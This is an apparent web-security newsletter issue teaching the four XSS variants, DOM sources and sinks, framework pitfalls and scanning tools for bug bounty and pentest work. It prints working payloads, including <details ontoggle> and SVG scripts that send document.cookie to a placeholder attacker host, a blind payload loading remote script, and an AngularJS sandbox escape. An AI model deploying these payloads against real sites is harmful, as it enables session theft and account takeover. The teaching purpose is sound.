XSS: Reflected, Stored, DOM, and Blind
8 min read
April 12, 2026

Table of contents
👋 Introduction
Hey everyone!
Last week we covered DNS as a weapon, cache poisoning, tunneling, and rebinding. This week the flaw is in the output.
XSS has been on the OWASP Top 10 for over a decade and still shows up in bug bounty programs every week. The reason is simple: the attack surface keeps growing. SPAs introduced new DOM-based vectors. Markdown renderers in SaaS tools introduced stored XSS through rich-text. Admin panels and log viewers execute blind payloads days after injection, in contexts you never see. Most developers know what XSS is. Far fewer understand the four distinct variants and how differently they need to be exploited.
This week: the source/sink model for DOM XSS, stored XSS in the places scanners miss, blind XSS against internal tooling, framework-specific pitfalls in React and Angular, and the tooling that automates it.
Let’s get into it 👇
🗺 The Four Variants
OWASP defines three primary types: reflected, stored, and DOM-based. Blind XSS is a delivery mechanism that crosses all three, but it’s worth treating separately because detection requires a different approach.
Reflected XSS lives in the request/response cycle. Your payload lands in a URL parameter, the server echoes it back unsanitized, and it executes in the victim’s browser. The victim has to click your crafted link. High-severity in authenticated contexts, lower in unauthenticated ones unless you can chain it.
Stored XSS is server-persisted. Your payload hits every user who loads that page. No social engineering required after injection. One stored XSS in a public profile or comment field scales to every visitor.
DOM-based XSS never touches the server. The payload flows from a source (URL fragment, postMessage, localStorage) through client-side JavaScript into a sink that executes it. Scanners that only analyze HTTP responses miss it entirely.
Blind XSS fires in a context you can’t directly observe: an admin panel, a log viewer, a PDF generator, a support ticket system. You inject, walk away, and wait for an out-of-band callback.
🔍 DOM XSS: Sources and Sinks
PortSwigger’s DOM-based XSS documentation defines the model clearly. A source is where attacker-controlled data enters client-side code. A sink is a JavaScript function or property that can execute that data.
Common sources:
location.search // URL query string
location.hash // Fragment after #
document.referrer // Referring page URL
window.name // Persists across navigations
postMessage // Cross-origin message passing
localStorage // Persisted storage
Common dangerous sinks:
document.write()
element.innerHTML
element.insertAdjacentHTML()
eval()
setTimeout("string", delay) // string argument, not function
location.href = userInput
jQuery.html()
The attack: trace data from source to sink without sanitization. A classic pattern is document.write(location.search) in legacy analytics scripts. ?q=<img src=x onerror=alert(1)> executes immediately. The lab on document.write walks through this in under five minutes.
postMessage is the modern equivalent. A SPA that does iframe.contentDocument.innerHTML = event.data without origin validation lets any page with an embedded iframe inject arbitrary HTML.
💀 Stored XSS: Where Scanners Miss
The places scanners consistently undertest are rich-text editors, markdown renderers, and SVG/file upload handlers.
Markdown renderers that allow raw HTML passthrough are common in SaaS collaboration tools. A payload like:
<details open ontoggle="fetch('https://YOUR_HOST/?c='+document.cookie)">
<summary>click</summary>
</details>
fires on page load in browsers that auto-open <details> elements. The ontoggle event handler runs without any user click. Combine this with a comments section or shared document and every viewer sends their session.
SVG uploads are another blind spot. SVG is XML that supports embedded <script> tags natively. If the application serves uploaded SVGs from the same origin (not a sandbox domain), a stored XSS via SVG upload bypasses any HTML sanitizer:
<svg xmlns="http://www.w3.org/2000/svg">
<script>document.location='https://YOUR_HOST/?c='+document.cookie</script>
</svg>
🎯 Blind XSS: Hitting Internal Tooling
Blind XSS targets contexts you can’t observe: admin panels that display user-submitted data, server-side log viewers, PDF export systems, and email notification templates.
The payload must be self-contained and phone home. XSS Hunter Express (mandatoryprogrammer/xsshunter-express) is the standard self-hosted platform. It captures cookies, localStorage, the full DOM, a screenshot, and the page URL when the payload fires.
A blind payload in a name field looks like:
"><script src="https://your-xsshunter-instance.com/YOUR_PAYLOAD.js"></script>
Drop it in every input that ends up in an admin interface: support ticket subject lines, user display names, shipping addresses, log messages, User-Agent headers. If an internal dashboard renders any of that data without sanitization, your payload executes in the admin’s session hours or days later.
The cookie and session data you receive from an admin callback is often worth significantly more than a reflected XSS on the public site.
⚡ Framework Pitfalls
React, Angular, and Vue each have one specific escape hatch that bypasses their built-in XSS protections.
React: dangerouslySetInnerHTML renders raw HTML, bypassing the virtual DOM’s automatic escaping. Any component that does dangerouslySetInnerHTML={{ __html: userInput }} without prior sanitization is a stored or reflected XSS. Look for it in comment renderers, markdown preview components, and notification templates.
Angular: If the app runs on AngularJS (1.x), user input that reaches a template expression is a code execution primitive. The classic payload:
{{constructor.constructor('alert(1)')()}}
AngularJS evaluates expressions in double curly braces. Any input field whose value flows into a template without explicit $sce.trustAsHtml handling is exploitable. Gareth Heyes’ original research on sandbox escapes covers the full technique. Angular 2+ removed the sandbox entirely. Client-side template injection there is RCE in the browser context by design.
Vue: The v-html directive is Vue’s equivalent of dangerouslySetInnerHTML. Any component using v-html="userControlledValue" renders raw HTML directly.
🛠 Tooling
dalfox is the fastest modern XSS scanner. Written in Go, it handles parameter mining, reflection analysis, DOM XSS detection, and blind XSS with callback support. You can pipe URLs directly from other tools:
# Scan a single URL
dalfox url "https://target.com/search?q=test"
# Blind XSS with callback server
dalfox url "https://target.com/search?q=test" --blind "https://your-xsshunter.com"
# Pipe from katana or other crawlers
cat urls.txt | dalfox pipe
XSStrike handles WAF bypass scenarios better with its intelligent payload fuzzer and encoding engine. Use dalfox for speed on large scope, XSStrike when you hit a WAF and need bypass variants.
For post-exploitation, BeEF hooks the victim browser via a JavaScript payload and gives you a command interface: tunneled HTTP requests from the victim’s browser, intranet scanning, credential harvesting modules, and social engineering overlays. Pair a stored XSS with BeEF for maximum impact demonstration on a pentest.
📡 Community Radar
Doyensec: The MCP AuthN/Z Nightmare
Model Context Protocol servers are being deployed without any real authentication or authorization enforcement. Doyensec documented how MCP’s current architecture allows arbitrary identity assertion via JWT Authorization Grants, with no reliable way for a remote server to verify who is actually calling it. If you’re testing environments where AI agents are deployed with tool access to internal systems, this is a new attack surface worth mapping. The auth model is fundamentally broken right now.
🎯 Key Takeaways
XSS is not a single vulnerability. The four variants have different detection methods, different exploitation paths, and different impact ceilings. Reflected XSS requires a victim to click something. Stored XSS scales to every user with access. DOM XSS bypasses server-side scanners and lives entirely in JavaScript. Blind XSS reaches internal tooling and often lands in admin sessions.
DOM XSS requires tracing data from source to sink in client-side code. The source/sink model from PortSwigger’s documentation is the mental framework to apply. postMessage handlers without origin validation and innerHTML assignments from URL fragments are the most common modern patterns.
Stored XSS in rich-text editors, markdown renderers, and SVG uploads survives most sanitizer configurations. The ontoggle technique on <details> elements fires without user interaction. SVG uploads served from the same origin bypass HTML-only sanitizers completely.
For tooling: dalfox for fast scanning at scale, XSStrike for WAF bypass scenarios, XSS Hunter Express for blind XSS detection, and BeEF for post-exploitation in pentest demonstrations.
Practice:
- PortSwigger Web Security Academy: XSS - complete lab track covering all four types
- DOM XSS via document.write lab - DOM source/sink exploitation
- XSS to steal cookies lab - session hijacking via stored XSS
- XSS to perform CSRF lab - chaining XSS with CSRF
- PortSwigger XSS Cheat Sheet - payload reference for every context and bypass
- OWASP XSS Filter Evasion Cheat Sheet - encoding and WAF bypass techniques
- dalfox GitHub - fast XSS scanner with blind XSS support
- XSS Hunter Express GitHub - self-hosted blind XSS detection platform
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.